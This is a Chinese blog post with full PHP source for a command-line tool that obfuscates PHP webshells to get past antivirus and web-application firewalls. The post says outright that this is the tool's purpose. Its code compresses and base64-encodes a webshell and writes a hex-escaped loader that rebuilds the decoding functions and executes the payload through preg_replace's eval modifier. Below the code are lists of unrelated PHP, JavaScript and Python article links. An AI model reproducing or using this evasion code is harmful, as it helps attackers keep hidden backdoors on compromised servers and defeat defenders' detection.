php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
用PHP动态生成虚拟现实VRML网页
Oct 09 PHP
ADODB结合SMARTY使用~超级强
Nov 25 PHP
php 遍历显示文件夹下所有目录、所有文件的函数,没有分页的代码
Nov 14 PHP
php preg_replace替换实例讲解
Nov 04 PHP
php导入大量数据到mysql性能优化技巧
Dec 29 PHP
windows7下php开发环境搭建图文教程
Jan 06 PHP
PHP中实现接收多个name相同但Value不相同表单数据实例
Feb 03 PHP
php中使用url传递数组的方法
Feb 11 PHP
Yii2使用dropdownlist实现地区三级联动功能的方法
Jul 18 PHP
thinkphp ajaxfileupload实现异步上传图片的示例
Aug 28 PHP
Laravel框架模板继承操作示例
Jun 11 PHP
在 Laravel 项目中使用 webpack-encore的方法
Jul 21 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
PHP 文章中的远程图片采集到本地的代码
2009/07/30 PHP
PHP+MySQL修改记录的方法
2015/01/21 PHP
php基于环形链表解决约瑟夫环问题示例
2017/11/07 PHP
js arguments.callee的应用代码
2009/05/07 Javascript
js中escape对应的C#解码函数 UrlDecode
2012/12/16 Javascript
YUI Compressor压缩JavaScript原理及微优化
2013/01/07 Javascript
js实现从中间开始往上下展开网页窗口的方法
2015/03/02 Javascript
JavaScript使ifram跨域相互访问及与PHP通信的实例
2016/03/03 Javascript
使用JS读取XML文件的方法
2016/11/25 Javascript
js canvas实现擦除效果示例代码
2017/04/26 Javascript
详解如何在vue-cli中使用vuex
2018/08/07 Javascript
JavaScript表格隔行变色和Tab标签页特效示例【附jQuery版】
2019/07/11 jQuery
vuex分模块后,实现获取state的值
2020/07/26 Javascript
js操作两个json数组合并、去重,以及删除某一项元素
2020/09/22 Javascript
javascript实现滚轮轮播图片
2020/12/13 Javascript
python判断windows隐藏文件的方法
2014/03/21 Python
深入解析Python中的上下文管理器
2016/06/28 Python
python 实现登录网页的操作方法
2018/05/11 Python
python利用百度AI实现文字识别功能
2018/11/27 Python
Ubuntu18.04中Python2.7与Python3.6环境切换
2019/06/14 Python
Python3使用xml.dom.minidom和xml.etree模块儿解析xml文件封装函数的方法
2019/09/23 Python
python多线程案例之多任务copy文件完整实例
2019/10/29 Python
Python常用模块os.path之文件及路径操作方法
2019/12/03 Python
python上传时包含boundary时的解决方法
2020/04/08 Python
新学期班主任寄语
2014/01/18 职场文书
安全大检查反思材料
2014/01/31 职场文书
公司担保书格式范文
2014/05/12 职场文书
建设投标担保书
2014/05/13 职场文书
三好学生个人先进事迹材料
2014/05/17 职场文书
优秀员工演讲稿
2014/05/19 职场文书
运动会横幅标语
2014/06/17 职场文书
2014年最新党员对照检查材料汇总
2014/09/15 职场文书
幼儿园小朋友毕业感言
2015/07/30 职场文书
接收函
2019/04/22 职场文书
检讨书格式
2019/04/25 职场文书
Python中文分词库jieba(结巴分词)详细使用介绍
2022/04/07 Python